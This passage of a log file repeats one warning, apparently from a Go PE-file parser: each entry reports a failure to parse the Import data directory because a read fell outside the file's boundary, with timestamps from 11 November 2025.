data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 